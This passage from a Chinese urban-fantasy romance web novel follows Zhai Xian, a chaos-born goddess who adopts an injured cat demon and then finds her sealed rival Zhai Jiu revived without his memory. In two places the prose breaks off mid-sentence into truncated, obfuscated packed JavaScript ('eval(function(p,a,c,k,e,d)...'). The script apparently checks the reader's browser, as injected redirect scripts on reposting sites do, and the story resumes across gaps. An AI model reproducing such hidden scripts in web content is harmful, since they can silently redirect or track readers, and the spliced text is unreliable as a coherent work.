《宿敌诈尸后非要和我HE》 1. 异瞳白猫 “你是说,这只猫咬坏了三个笼子,七把抄网,骗了你们四大盒猫条,并且单杀了一整个救助站,把哈士奇揍得屁滚尿流,一口咬在给他检查的医生的屁股上,给人家吓晕过去三天才醒?” 翟闲蹲在笼子前面,盯着里面一只毛发蓬松的白猫,哭笑不得。 诚然,只是一只漂亮的让人感觉不可思议的猫。毛色雪白蓬松,和其他猫比起来,耳朵要圆一点,犟种毛很长,身体线条流畅,最妙的是一蓝一白的一双异瞳,通透明亮,看上颇有几分优雅骄矜。 就看这样子,谁能想到这货是个小霸王。 注意到翟闲的视线,白猫抬了抬下巴,颇为傲气地晲了她一眼,很是不屑地转了个身,将屁股对着翟闲,爪子扒拉着猫碗,叮铃哐啷的。 祝好嘿嘿笑了几声,她见翟闲站起身时,身形晃了晃,连忙上前服了她一把。 “哈,没事,有点低血糖……” 翟闲已经好几天没有出过房门了。两人合租这么长时间,祝好也算是摸清了翟闲的作息,早上不起晚上不睡。 平常祝好在家的点,她基本上都窝在房间里,要不是祝好每天下班的事后,还能发现垃圾桶随机刷新的外卖包装袋、以及手机里翟闲拜托她带东西的信息,她几乎都要以为自己是一个人住。 “先去吃早餐吧,冰箱里还有面包……算了,你胃不好,早上吃点热乎的,我给你煮碗面再煎个蛋吧?”她目露关切。 “那行。上班来得及?” “来得及。”看她一头扎进厨房,翟闲扯过个坐垫,贴着关着猫的笼子坐下,“救助站那边怎么说,什么时候来接他走?” 祝好单手敲开一个鸡蛋,锅中一层薄油烧热,鸡蛋下去,发出轻微的“呲啦”的声响,蛋白的边缘焦黄,微微颤动,一股香味蔓延开来,她想了想,道:“不好说,那边腾不出专门的地方给他住,它太凶了,会和其他小猫打架的。” “那确实很凶了。”翟闲伸出手指,轻轻戳了一下猫猫露在外面的屁股,这边手指还没撤开,那边圆鼓鼓毛茸茸的猫屁股瞬间从在笼子里调了个个,呲着牙张嘴就要咬翟闲的手指,喉咙里还发出一阵咕噜咕噜的声音。 翟闲的眼底划过几丝暗芒。 能不凶吗?好歹是有大几百年修为的猫妖,本能排斥比自己低等的生灵也正常。看他这样子,应该是应该是受了重伤,身上的妖力和气息都很微弱,要不然也不会被捉起来。 很重的伤呢,伤及灵府不可不谓不严重,翟闲估摸着这伤要是还不救治,接下来的寿数估计和寻常小狗小猫没差了。 真的是很漂亮的小猫,那双异瞳总是给翟闲带来几分似曾相识的感受,看得她几千年几百年没动的恻隐之心好像动了一下。 祝好絮絮叨叨还说着些什么,一股香味从厨房传出来,最后一把葱花被撒上汤色清透的面条,她这才有时间看一眼手机,快迟到了。祝好顿时着急忙慌起来:“面好了,你快点来吃,一会儿该坨了,我先走了。” 她说罢便夺门而出,厨房里传来早饭的香味,好几天没吃上一顿正经饭的翟闲这才感觉到饥肠辘辘,就着煮面的小锅盘腿坐在笼子边上解决早饭。 “嗯……好香……” 确实很香啊,笼子里的猫鼻子动了动,面香蛋香中混着一丝不是到什么来头的异香,勾得他饿得难受。翟闲看了一眼他空荡荡的简陋猫碗,下一秒就接到了祝好让她帮忙喂下猫的信息。 “闲姐,我今天出门忘记喂猫了,你吃完饭有空帮我喂一下他……”祝好的气息听着不平稳,应该是一边跑着一边说的,翟闲开的外放,声音不小,她能清楚看到,笼子里的猫在听到这话之后,耳朵竖了起来。 左等,不见翟闲有动静,右等,还不见翟闲有动静,猫饿得有些不耐烦,猫猫咪咪叫着,嘀咕抱怨,翟闲隐隐约约能辨认出这事妖族的语言,并不好懂,似乎还是方言。 “不是?什么人啊?吃那么香,没看见旁边要饿死猫了吗?啊啊啊啊,饿死了要饿死猫了,谁来管管啊啊啊啊啊啊这还让不让猫活了——” “她没告诉我猫粮放哪儿了啊。”翟闲耸肩,将最口一口煎蛋送入口中。 刚才什么声音?什么东西在说话?是在和谁说话?猫一顿,瞬间一个激灵,背后的毛都炸起来了,他猛然扭头,对上翟闲的目光。 “你在和我说活?!”还是妖的语言。 “还有第二只妖吗这里?”翟闲环视左右。 “你怎么会能听得懂我说话?”猫口吐人言,看上去有些激动,声音清亮,听上去像是个十七八岁的少年人。 “我能听懂你说话很奇怪吗?” 猫只当她是个懂行的。 翟闲的面还没吃完,故意当着猫的面一口接着一口,“什么声音,你的肚子在叫吗?” “废话。”左右眼前这个女人浑身上下的气息再普通不过,应该没什么威胁,他将铁笼子扑得叮铃哐啷直响。 “好人,你能问问她把我的饭放哪里吗?”猫扒在笼子上,眼睛忽眨忽眨,看上去可怜巴巴的。 翟闲斜了一眼手机屏幕上祝好发来的消息,新买的猫粮和猫条都放在了老地方。等她吃饱放下碗,这才慢悠悠得从茶几背后拖出一袋猫粮来,“先回答我的问题。” 猫粮的袋子被打开,烘焙粮的气息传来,这玩意儿算不上有多好吃,但是的确可以短期果腹,然而和以往不同,空气还飘着一股似有似无的异香,香得吓人,勾着猫的食欲。 “你是妖?” “我肯定是妖了!!!”猫毛茸茸的胸脯挺了起来,看起来很是骄傲不过的样子。 “你叫什么名字,哪个山头的,先天的还是后天的?” “没名字,无名山,哪一天感觉修成了就出山了,听不懂你说的什么先天后天。”猫舔着嘴唇,眼神死死盯着翟闲手里的猫粮袋子,饥饿是一回事,他得不到充足的能量自我修复,灵府上的伤口更疼了。 “好歹是修成了的妖,怎么把自己弄成这个样子?”翟闲轻啧,将猫粮袋子拉的更开了一点。 “啧,不是已经回答过问题了吗?”猫在笼子里上蹿下跳,“实话告诉你吧,本妖被几个臭道士暗算了,别看本妖现在狼狈,等本妖伤好了,必定杀那几个臭道士一个片甲不留……” 翟闲耸肩,看着样子也是道士闹的,也不吊着他,顺着笼子缝隙,给猫碗里倒了一大碗猫粮。 欸,拔了毛的凤凰不如鸡啊,好好的大妖,被当成流浪猫抓了起来,连个普通猫笼子都打不开,说不准什么时候就会被捉去绝育。 翟闲一时起了玩心,眼神在他屁股后面逡巡:“看你被抓住这么久……不会已经绝育了吧?” 猫嘴里的粮还没咽下去,一时竟顿住。 猫试图理解。 猫的眼神匪夷所思,逐渐恼羞成怒。 “我!不是!公公猫!”他往前一扑,把一碗猫粮打翻了个干净,“奇耻大辱!这简直是奇耻大辱!啊啊啊啊收回你不怀好意的目光,看你那幸灾乐祸的样子,你你你……” 他“你你你”了半天,都没“你”出个所以然来。 “好好好不是公公猫,不是公公猫。”翟闲闷声笑,事实上祝好和她说过这只猫没有绝育,宠物医院说还太小了,不适合绝育。 嗯……几百年对于妖来说,确实挺小的,也就相当于人的十六七岁吧? “我,真的,不是,公公猫。”翟闲第一次从一张毛茸茸的脸上看到这么真切的咬牙切齿,本来这时候气氛还挺严肃的,偏偏又一阵咕噜咕的声音传进一人一猫的耳朵里。 猫的肚子开始咕咕叫了。 那一碗猫粮被扑翻了,翟闲只好再给他倒一碗。猫这回发现了,只要她一靠近,猫觉得那股异香更浓烈了,就连猫粮的味道都压不下来,比猫草和猫条的味道还香。 他舔了舔尖牙,眼神定定盯着翟闲的胳膊,似乎能 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每一个细胞每一个毛孔都在叫嚣着饥饿——食欲是很容易让猫失去理智的,哪怕他也算是大妖,依然不能抵御这种天性。 他的眼睛死死盯着翟闲,嘴比脑子反应更快,“嗷呜”一口咬在了翟闲的手腕上。 尖利的牙齿深深卡进了她的血肉,翟闲能够很清楚地察觉到他在吮吸着她的血液,她面色一冷,刚想伸手甩开,此时灵府中却传来一股难以言表的钝痛,疼得翟闲本能一甩,将猫甩到了笼子角落,撞晕了过去。 还没来得及细究到底发生了些什么,翟闲就感觉眼前一黑,往前倒了下去。 窗外天气晴好,翟闲住得楼层不高,四月树梢萌发的绿被阳光映照景来。一抹红线从猫腹中漫延而出,像是有生命一般钻进翟闲手腕上深可见骨的伤口。 红线没入之后,那道伤口正在一种难以置信的速度在愈合。 * “闲姐,闲姐?你怎么躺地上啊?” 祝好发出尖锐爆鸣声。她一回来就看见翟闲四叉八仰地瘫在地上,关着猫的笼子被打开,然而猫却还在笼子里,就是一动不动,太反常了。 她颤抖着两条腿一步一步挪过去,哆哆嗦嗦用两根手指轻轻凑在了翟闲的鼻息间。 还好还好,有气有气。 紧接着这是猫。 还好还好,这个也有气。 祝好长舒了一口气,心有余悸地拍了拍胸脯,刚想把翟闲叫醒人她去房间睡,就听见对方的梦呓。 “别吵……难受……” 翟闲的双目紧闭,眉头皱了皱,丝毫没有要醒的意思。她几天估计是没有睡好,这会儿睡得正香。 但是在地上睡着凉了怎么办?她关上猫笼,把翟闲扛了起来,拖回房间、扔在被窝里头,顺手关上了房门。 午夜十分,翟闲渐渐转醒的迹象,感觉好像有什么东西紧紧箍着她的脖子和腰腹。这力道以一种不容抗拒的姿态圈着她,越来越紧,她都有些喘不上气了。 这一觉睡得舒爽,黑甜无梦,意犹未尽,醒来的时候每一个毛孔都透着满足。 舒爽过后,她后知后觉感觉灵府中还是残留着隐隐的阵痛。具体是哪里痛,好像是…… 翟闲一个激灵,瞬间清醒,内观灵府探查,呼吸一滞。 灵府深处,八方磅礴的石柱锁链虬结,高悬起一口寒冰锻造的棺椁,原本应该晚好无损的冰棺此时棺盖大开,冰棺之中空无一物。 腰上圈禁的力道收紧了,翟闲摸过去,手指触之冰凉光滑,像是蛇或是什么东西的鳞片。睁眼一看,一条泛着寒光的、似蛇似蟒的尾巴绕了两圈紧紧箍在她的腰上。 顺着尾巴看过去,原本应该躺在口冰棺的人,千八百年前,被她亲手捣碎神魂、捣毁肉身、封印在她灵府最深处的男人,此时此刻正守在她的床边,银白的眼瞳神色幽微,目不转睛地盯着她。 2. 宿敌诈尸 天边一轮下弦月像是蓄势待张的弓,清辉泻下,天地皆白。两人都这么直勾勾地盯着对方,耳边静得只能听到窗外有些萧瑟的风声。 眼前男人撑着脸伏在她的床边,那条粗壮的蛇尾从他有些残破的衣摆之下漫延出来,在月光下泛着阵阵寒光,他收着鳞片锋利的哪一面,蛇尾圈着翟闲,裸露在外面的肌肤泛着一层诡异的惨白。 翟闲心脏狂跳,艰难地咽了一口口水,手指死死掐住那截要缠绕到她脖子上的尾巴尖,指甲几乎要穿透皮肉陷进鳞片里。 他回来了。 千八百年前那个和她斗得死去活来的、最后被她亲手抹杀的六界仙首—— 翟玖,他回来了。 他!居!然!回!来!了! 翟闲的胸脯上下起伏,瞳孔一颤,适时一阵风吹过来,他身影看上去明明灭灭,这是神魂的状态极其不稳定的表现。 她迅速反应过来,立刻就伸手就往床头柜里去够符纸和朱砂——她要是没记错,当年二人也算是死仇,趁着他现在虚弱,把他制服了,要不然等他翻起老黄历来,够翟闲喝上一壶的。 * 这是一桩破事,千百年前,翟闲和翟玖反目成仇,相约在众神湮灭之地决一死战,最终以翟闲将翟玖的心脏生剜出吞下而结束。 那是杀招,人人都说翟玖受此伤必死无疑。 但是翟闲知道,但这始终算不上真正的死亡。翟玖这狗东西乃是混沌造物,天生地养,没有人能彻底杀了他。故而剜心之后他的神魂四分五裂,被不可抵挡的“势”卷入归墟,最终在六道中轮回。 但理论上来讲,只要他碎成渣的魂魄还有重聚的一日,他都能从残败中复生。 得亏这算不上真正的死亡。 翟闲咬紧了后槽牙。因为就在翟玖神魂逸散的时候,翟闲几乎同一时间感觉到她的神力在迅速崩散。 是了,翟玖天生地养,翟闲又何尝不是?他们二人同生于混沌,一阴一阳同生同死,一荣俱荣一损俱损,翟玖神魂破裂堕入六道轮回之后,下一个就得轮到翟闲了。 真是的,下那样的杀手做什么,现在好了,自己把自己坑惨了。 没办法,翟闲只能趁着“势”还没有将他散落的神魂彻底卷入六道轮回,尽可能多地收集,将他放于自己灵府之内,表面温养,实则监禁。 眼下,几千年的等待总算是没有白费,翟闲的手无意识地颤抖,瞳孔化不开的墨色之后是翻涌的兴奋——眼下翟玖的神魂渐渐聚起来了,是不是说明,她消散了千年之久的神力也能回来了? 他醒了,那他现在要做些什么呢?要兴师问罪千百年前的她杀他的这笔烂账吗?虽然他这这会儿神魂虚弱,但是同生于混沌,他们比对方都更要了解对方的死穴,保不齐会出什么岔子。 翟闲怕他要暴起,动作虽快,却摸了个空,抽屉里头别说朱砂和黄纸了,就连张擤鼻涕的餐巾纸都没有,她心下一骇,连忙去看翟玖的反应。 然而就这么看了片刻,翟闲反而见翟玖脸上的神色错愕和疑惑,他勾着翟闲脖子的尾巴尖在她的手心轻蹭,再然后就听见这人沙哑着千八百年没用过的嗓子来了一句: “这里是……人间?我们不是在雪山吗?” 翟闲:? 雪山?哪门子的雪山? 他因翟闲剜心而死,又被封印千百年,一朝醒来不应该恼羞成怒、横眉冷眼,再以迅雷不及掩耳之势祭出法器、法相然后和翟闲大动干戈打一场吗? “什么雪山?”翟闲大脑的褶皱都好像被抚平了,她清清楚楚记得,当年那一战伤的是他的心脏,也不是脑子啊。 “昆仑山。你不记得了吗?”翟玖的拧着眉,一双银白竖瞳中满是不解,脸上是神色凝重起来,缠在翟闲腰间的尾巴更紧了。 这一张脸骨相优越,轮廓深邃,端的是一副克己复礼、孤高矜贵的高岭之花模样。冷下脸来,莫名让人感觉到一股寒气。 翟闲又往自个灵府中看了一眼,确定以及肯定八方柱下的棺椁中已经空无一物,眼前这具残魂,长了一张和翟玖一般无二的脸,一般无二的尾巴——确实是翟玖本尊不错了。 真是见了鬼了。 “记得,怎么回不记得,当然记得。”翟闲眨了眨眼睛,试探着道,“然后呢?你就没什么想和我说的吗?” 比如说千百年前的那一场死战。 “你不是说和我一起去人间看花灯吗?”翟玖语不惊人死不休。 翟闲:? 这是哪一年的事情? 然而翟玖就这么定定看着她,眼神中满是控诉。潜意识告诉翟闲,花灯这个词很关键。一个大胆的猜测在翟闲脑中浮现,她竭力去回想,终于在某一处犄角旮旯里翻出一顿回忆来。 她忽然之间眯了眯眼睛,试探着将脸一点一点朝着翟玖逼近,眼神中带着一点不怀好意。 她靠近一点,翟玖就不自觉往后退一点,虽然尾巴还是紧紧勾着她的腰不愿意放,但是面上却还是避她如洪水猛兽一般。直到退无可退,直到两个人之间的距离近到只要翟玖一低头,二人的额头就会抵到一起。 他还在想着往后躲。 他失忆了。翟闲几乎可以立即确定。 翟闲深呼吸了一口气,告诉自己千万冷静,但是她此时的心情有些操|蛋。一想到他把那些*了狗的事情全都忘了个一干二净,翟闲就感觉不可思议。 在翟玖那所剩无几的记忆里,他俩还没有走到最后撕破脸闹得你死我活的那一步,两个人还是青梅竹马的师姐师弟,在常人不能到达的巍峨雪山、宝顶神殿之中,起居行止、修道游乐皆在一处…… 翟闲甚至可以精准定位到,他的记忆还停留在二人某一次莫名其妙的别扭之后。因为只有那一小段时间,翟玖一直躲着她,说什么都不让碰,连拉小手都不让。 差评,大差评,超级无敌大差评! 能看不能吃算怎么回事? 一如现在,眼前这个残魂衣冠不整,心口处漏出一些肌肤的颜色,曲线流畅漂亮。全身上下只有一件当年被翟闲捅得四面漏风的破裘子,如云间孤鹤,自成一派风流。 更要死的是,他脖颈、胸腹、手腕、腰间、包括那条华美的蛇尾上,不知道为什么纠缠了一道一道红线。虽然他看着一副宁死不屈不愿意和翟闲触碰的样子,但那些和有生命一样的红线却像是参透了他的心意,从他的袖口、胸前涌出来,争先恐后往翟闲的领口里头钻,往她温热的皮肉上面贴。 这些是什么东西?翟闲居然从未见过。 * “你是说,现在离我们约好一起去看花灯已经过去几千年了是吗?”翟玖打量着翟闲不大点的卧室,表情是十二万分的惊讶,眼神中有对翟闲所说的“现代”的好奇。 翟闲没有再提雪山的事情。 “是这样的。” 转便听见翟玖犹豫了一下,问:“那我们最后去看花灯了吗?” 现在是关心这个的时候吗?再不济,他不应该关心一下这千八百年究竟发生了些什么事情,自己为什么就剩下一缕残魂了吗?翟闲想掰开他的脑子看看里面装了些什么,二指并在一起,弹了了他个脑瓜崩,好像真的就回到了当年的雪山神殿的时候。 “……忘了。” 翟闲又拿她记性不好当借口,在心中却也不免苏索回忆了起来,那一回好像没去吧?她脑子里混沌一片,余光中看见他的眼神中是几乎要让人灼伤的期待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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细看那缕红线,似乎和没入翟闲伤口中的如出一辙。 他的实体快消散了,故而翟闲只能感觉到一阵风一样的凉意。耳后的发丝垂落到了胸前,翟玖几乎是下意识抬手,指尖勉强化出一点实体,替她讲那一缕头发别到了耳后,在她的耳垂上轻轻摩挲了一下。 翟闲总觉得哪里有些说不上来的不对劲。 好在这样的动作并没有持续太久,他刚刚凝出实体耗费得太过,在还欲说些什么的时候之前,身形的轮廓就越来越淡,直到就连那双眸子都彻底在翟闲面前化为虚无,他的神魂终于没挺住,暂时沉睡了。 一股充盈之感从灵府深处传来,翟闲不用看都知道,他的神魂回到了八方柱下的冰棺之中,陷入了如同沉睡一般的状态。 等他彻底“睡下”,那阵萦绕在翟闲灵府中的钝痛才消减了一些,翟闲掀开棺盖,将手覆在翟玖的眉心,试图遁入他的灵府。 如今翟玖刚醒,翟闲的神力虽经过一轮溃散,然而还是要比他强悍得多,入他灵府畅通无阻。然而诡异的是,等她进入,才看见翟玖的灵府中竟是一片翻滚的浓雾,可见度只有脚下一方田地。 “骨碌碌……” 有什么东西从浓黑的雾气中滚落出来,撞到翟闲的脚边,是一卷卷轴,她瞧着有些眼熟,捡起来展开一看,竟是一副活色生香的春|宫。 构图动态严谨,线条流畅顿挫,细节丰富逼真,人物栩栩如生,神态怡然陶醉,虽是一副春|宫,却是春宫中不可多得的精品。 翟闲神色木然,要是画面中两个主角的脸不是她和翟玖的那就更好了。 3. 猫的怪异 众所周不知,灵府由人心相所化,得是一个人脑子里想着了点什么,灵府里才会有点什么。 翟闲想说点什么,或者想骂点什么,但是又不知道怎么开口。 所以,发现和自己有一段奸情的宿敌哥脑子里装着两个人的春宫是怎么情况? 并非是翟闲冷心冷眼,冷情冷意,只是当年亲手杀了翟玖的虽是她,但是当时的情况复杂,她和翟玖注定要折进去一个,她总不能把自己搭进去了吧? 眼下宿敌哥死而复生,懵懂无知,还满心满眼都是她,多少年没烧起来的□□冷不丁死灰复燃,在她心尖尖上燎了一下。 嘶嘶倒吸凉气的那种疼。 翟闲合上卷轴,深呼吸,翻手召风想要将浓雾散开,却不料翟玖的灵府中天相异变,一道数丈宽的紫色雷点突然从浓黑的雾里劈下来,将翟闲劈得外焦里嫩,紧接着就是一阵狂风,屁也似的将她嘣出了翟玖的灵府之外。 翟闲:? 她没有设防,一口老血喷在冰棺之上,鲜红的血液有迅速渗入其繁复的纹路消失不见,翟闲揩了揩嘴角的鲜血,看着棺中翟玖的神色微冷,并不是皮肉肌骨上的痛,而是像有什么尖锐的刀刃在她灵府上剜了一道。 看不见的波动在空气中漫延、炸开,十几公里之内的“妖”、“灵”、“怪”、“鬼”,所有有灵识的生物皆被狠狠惊动。 * 翟闲被轰出他的灵府,身心俱疲,夜深了,她本打算再睡会儿,然而此时却感觉到,那只猫醒了。 “醒了就没必要装睡了。” 窗外透进来一点月光,打在翟闲脸上,她批了条毯子出来,在沙发边支着胳膊坐下,另外半张脸藏在黑暗中,看不清神色。 百思不得其解,白日里这完蛋猫咬在翟闲手腕上的那一口给翟闲痛蒙了,混沌造物强悍如斯,一个看上去只有几百年妖力的小妖居然能伤了她?真是稀奇,她不免生出几分兴趣来。 她手上不知道什么时候多了一柄匕首——现在这样的冷兵器实在是少见了,她的指节在鞘上轻轻敲击着,一双漆黑如墨的眼睛盯着笼中听到动静后装死的白猫。 猫的脑袋几乎都要缩到屁股底下去了,就留下一个毛都炸起来的腚给翟闲,秉持着只要一直装死就能混过去的真理,愣是一动不动到现在。直到翟闲打开笼子,提溜着这只小……大蒲公英的后脖颈时,他才发出今晚第声一哀嚎。 “什么时候醒的?” “就、就刚刚醒的……”猫干笑着,头埋得低低的,心里发毛,“不就是咬了你一口吗?至于这么小心眼吗……” 命运的后脖颈被扼住,犯罪嫌疑猫压低了声音,明显中气不足,格外心虚。 周身因绕着白天那股异香,他控制不住咽了咽口水,妖物的直觉告诉他,眼前这个女人虽然看上去就是个普通甚至是有点虚弱的痨病鬼,但是他最好不要惹毛她。 猫瞧见翟闲手上明晃晃的冷刃,打了个哆嗦,耳朵压了下来,瞬间把自己缩成了一团,就连毛茸茸蓬松的尾巴也抱在了怀了,嘴巴叼着尾巴尖尖——看上去这猫害怕得就连尾巴尖尖都在颤,一双清透明亮的异瞳在月光下水盈盈的,好不可怜的样子。 会装。 怎么看都是一副翟闲以大欺小、恃强凌弱的样子。 翟闲不语,一道银光闪过,手上的猫顿时传来一阵哀嚎。 “嗷——” 然而想象中被一刀了解的痛苦没有传来,只是屁股那一块传来一点凉意。通过客厅的全身镜,猫看见一撮白花花的、他好不容易样得油光水滑的毛发从他屁股上簌簌掉了下来,留下一块硬币大小的被削干净皮肤。 “啊啊啊啊!!!!” 猫怔愣。 猫尖叫。 猫语无伦次的声音中充满了不可思议:“你你你……你、你、我不就咬了你一口吗?你、你知不知道妖可杀不可辱?!?!你、你这个坏女人、你你……” 他还在为那一撮被翟闲剃感觉的毛发哀嚎,悲痛欲绝、声泪俱下、肝胆欲裂、肝肠寸断,丝毫没有注意到翟闲速度极快得刺破他那一块裸露的皮肤,取了一滴血。 翟闲闭了闭眼。那滴血在接触到翟闲的皮肤之后,迅速消失不见,等她再睁开眼的时候,眼中闪过一丝惊诧的暗芒。 这竟是……混沌的力量…… 怪不得能伤到她。但是他一几百年的猫妖身上又怎么会有混沌的力量,还伤她至此? “至于这么大反应吗……好了,扯平了。”翟闲斜了猫一眼,随手一扔,她从沙发缝里抠出快没电的手机,发了条信息。 zx:帮我查点东西。 对方秒回。 上善若水:在忙。 zx:我要局里所有年龄在五百到一千年之间异瞳猫妖的资料。 上善若水:没空。 zx:再查一下这些妖在这几百年之内有没有获得过什么极大的机缘,或着说修为忽然暴增的。 上善若水:…… “扯平?”猫后背的毛发全炸起来了,满是不可思议的声音把翟闲的思绪拉回现实,“你是说就因为我不小心咬了你一口,你你……” 他话说一半,便好像羞于启齿一般。 “我什么我?”翟闲将他提起来一点,视线和他齐平,眼神里挑着笑意道,“我不就削了你几根屁股毛吗?” “你闭嘴!!!” 翟闲忽然想到了什么,嘶了一声,捏了捏手指,有些迟疑问:“我人说,削妖族的屁股毛相当于人来说就是脱人家裤子,这是不会是真的吧?” “够了你就不能闭嘴吗!” 真的啊?翟闲深罪恶。 这个女人她她她既然还好意思说出口?猫可能也是第一次见到这么厚脸皮的女人,心如死灰,拼尽全力不能反驳,落在她手里两眼一睁看不到自己光明的未来。 晚风从窗缝里挤进来,猫一时不知道是屁股更凉还是心更凉。 “你知不知道这种行为在我们妖族……你要对我负责的。”猫哭嚎着把尾巴盘起来,一副羞愤欲死的样子,欲盖弥彰地用尾巴遮住那别削秃一片的屁股蛋子。 负责? 翟闲扬眉,露出个有些不怀好意的笑容来。 * 祝好顶着个黑圆圈起来就发现,家里这只小霸王溜达猫有了着落。 她煎鸡蛋的时候脑子都是懵懵的,看着一边拿着手机挑宠物用品挑得上头的翟闲,感觉有些魔幻。 “你……真的要养猫吗?” “有什么问题吗?”翟闲手机里正在外放的视频是“关于养猫你不得不知道的事情一百条……” “这只小猫脾气不太好,嗯……估计不好养,还是再考虑一下吧……不是不要你领养他的意思……嗯……这确实是一只不好养的小猫。”她的语气斟酌,半晌过后,道:“我还以为你不喜欢猫。” “为什么这么觉得?” “上次你去救助站接我,我看你一直盯着那些饲养箱里的蛇看,我以为你应该喜欢异宠、爬宠之类的。” 翟闲抬眼。 “对了,猫猫的名字你起好了吗?” 翟闲扭头看了一眼笼子里还在呼呼大睡的猫,指尖轻轻敲了敲,眼中的神色有些晦暗不明,脱口而出:“就叫小九吧。” 话才刚说出口,连翟闲自己都愣住了,祝好说这个名字也不错,就没有再改。算了,只是一个名字。 故而猫一觉醒来就得知,自己有了个叫翟九的新名字,和翟闲姓。 他本来是不同意的,然而心里也盘算了些小九九。况且妖在屋檐下,妖力没有恢复,不得不低头,他在山窝窝里待过许多年,极少出世,似乎对名字也没有什么概念,于是就怎么叫下来了。 眼前这个女人——翟闲,她的体质真是特殊,她的血液竟然如此大补,在昨天那一口下去之后,他便能很直观感受到,伤痕累累的灵府在渐渐愈合,慢慢充盈,妖力也有要往上涨的趋势。 这是什么体质? 他看着翟闲也没什么恶意,故而在得知翟闲要领养他之后并没有拒绝,在翟闲身边待着随她搓圆揉扁,总要比不知道什么时候送到宠物医院绝育要好吧? 况且他都合计好了,就等瞅准了时机,看看能不能什么时候再来一口她的血肉,如此今天一口,明天一口,早上一口,晚上一口,他回复妖力那还不是早晚的事儿? 等他的妖力都恢复了,他就一走了之。翟闲的体质再怎么特殊也终究是个人,看上去还病歪歪的,他就不信了,到时候他妖力恢复,还打不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“这只猫?”符悯偏头看了一眼航空箱的小窗,并且获得了翟九的一声哈气。 “你知道这只猫?” “嗯,之前送过来绝育,这边看太小了就没让做,特别凶,挠人,一个没看住就要跑。那时候还没发现他是妖呢,你要查的猫妖不会是他吧?” “嗯,昨晚才给你发的信息,这么快就赶回来了?”翟闲在他对面坐下,看着他行云流水的动作,只觉得赏心悦目。 “本来也打算偷溜回来的。”符悯笑了笑。 “那边忙得厉害?” “自然,什么时候不忙了。听说最近又找了一批人,你要不要回去看看?”符悯收获了翟闲的一个白眼。 一想到又有一大群冤大头要到那里去卖苦力,翟闲就想笑。 “让你帮忙查的事情怎么样?”翟闲问。 她说罢,符悯就讲手边一沓资料给她推了过来: “年龄在五百到一千年之间,本体是白色长毛异瞳猫的猫妖的资料都在这里了,我筛了一遍,记录在册的没有你说的那种修为暴涨的。当然也不排除一种情况,他真是有几百年道行的大妖,前几百年不入世,那异管局系统里边没有他的身份信息也不奇怪,这些年普查也不彻底,有那么一两个黑户也很正常。” 说到这个异管局,全称应该是——“(不周山南)异常事件管理局(暨六道非常事件办理处二处)”。这名字又臭又长的一大串,简称就起了前头三个字,大家都叫异管局。 具体是做些个什么的,大抵就是处理处理一些诸如闹鬼、捉妖的琐事。毕竟六道之中,那些非人之物修行,寿数总是长的,若是不加以管理,迟早要酿成大祸。干的都是些吃力不讨好的活计。 这么个组织有了几百年了,更名无数,如今也算是安定下来了,说起来,早千百年的时候还和翟玖有些渊源。 “你查这些东西做什么?”符悯问。 翟闲靠在圈椅上,定定看了他推过来的茶盏片刻,盏中水波荡漾,将其中云的倒影搅碎。 “他醒了。” 他?那就是翟玖了。 “这么快?不是说还得等百年吗?” 翟闲没有说话,符悯见她难得沉默,挑眉:“怎么,别告诉我,他刚醒你就兽性大发把他办了。” 4. 世上有鬼 这人还真是哪壶不开提哪壶。 “我倒是想办。”翟闲长吁了一口气,语气怅然,“可惜他失忆了,记忆还停留在当年雪山神殿的时候。” “什么?” “他失忆了。” “那不更好,那会儿他最黏你。啧啧,那可是当年在昆仑宝顶、雪山神殿里丰神秀逸的先神玖,嫩得能掐出水来,更适合发生点什么了。” “我倒是想,但我要是没记错,那阵好像和他和我闹了点什么脾气,看见我和耗子见了猫似的,都不让我近身。” “那可真是可惜了。”符悯中肯地评价。 翟闲:你在可惜什么? “什么时候的事情?” “就昨晚。”翟闲将文件夹扣在了自己脸上,看上去有些疲惫,声音闷闷的,“昨天被这猫咬了一口,昏睡过去半天,醒过来的时候就发现他的神魂聚起来了。” “他既然回来了,那你的力量是不是也要恢复了……是不是太快了?” “我也觉得太快了。” “你的测算出问题了?” “我什么时候在他的事情上出过问题?”翟闲没好气,仰头望着天发点。 “嗯。那猫的事情怎么说?”符悯往副手最后把猫抱走的方向看了一眼。 翟闲坐直了,身体前倾,手撑在了茶桌的桌面上:“我发现这只猫体内,有混沌的力量。” 闻言,符悯唇角常年擒着的一点弧度降了下去,他看着翟闲的表情,见后者的脸上确实没有一点在开玩笑的样子,表情严肃。 这只猫的身体里有混沌的力量,这能说明什么? 要么是已经在亿万年前就已经枯竭的混沌忽然诈尸,重新焕发生机,要么就是,这只猫身上有属于混沌造物的一部分,也就是说,有翟闲或者翟玖的一部分。 “会不会是当年翟玖堕入六道的那一部分神魂?”符悯摸了摸下巴。 没有人希望是第一种可能,混沌要是真的要重新焕发生机,那就真的要天下大乱了。 “不大可能。”翟闲道,“他本体类蛇,而且要是他真的是他的一部分,我不可能认不出来。再说了,他的力量和翟玖的力量,甚至是我的力量都隐隐相斥。” 混沌的力量太宏大了,她虽生于混沌,能从其中洞察到细微,但是对于这样复杂变化无穷的事情,也不是一句两句能说清楚的。 真是让人头大啊。 话还没说完,便从旁边窜过来一道白影,翟闲定睛一看,竟是翟九不知道什么时候窜了过来,毛发上还耷拉着水珠,往翟闲的圈椅下边躲。 “这是怎么了?”符悯问。 “符先生,我们正要该它洗澡呢,一个没抓住就跑了……”追过来的副手脸上有几分尴尬。 翟闲欣慰,还挺乖的,知道跑,知道在外面不能轻易动手。 这猫毕竟有几百年的道行,放到现在那也是可以称霸一方的大妖,虽然这点儿实力,放到千年万年前的诸神时代那是看都不够看的。那个时代的妖物啊魔物啊,修行得道为了自保,通常都会琢磨出些和同类不同的东西,譬之如毒爪,毒牙之类。 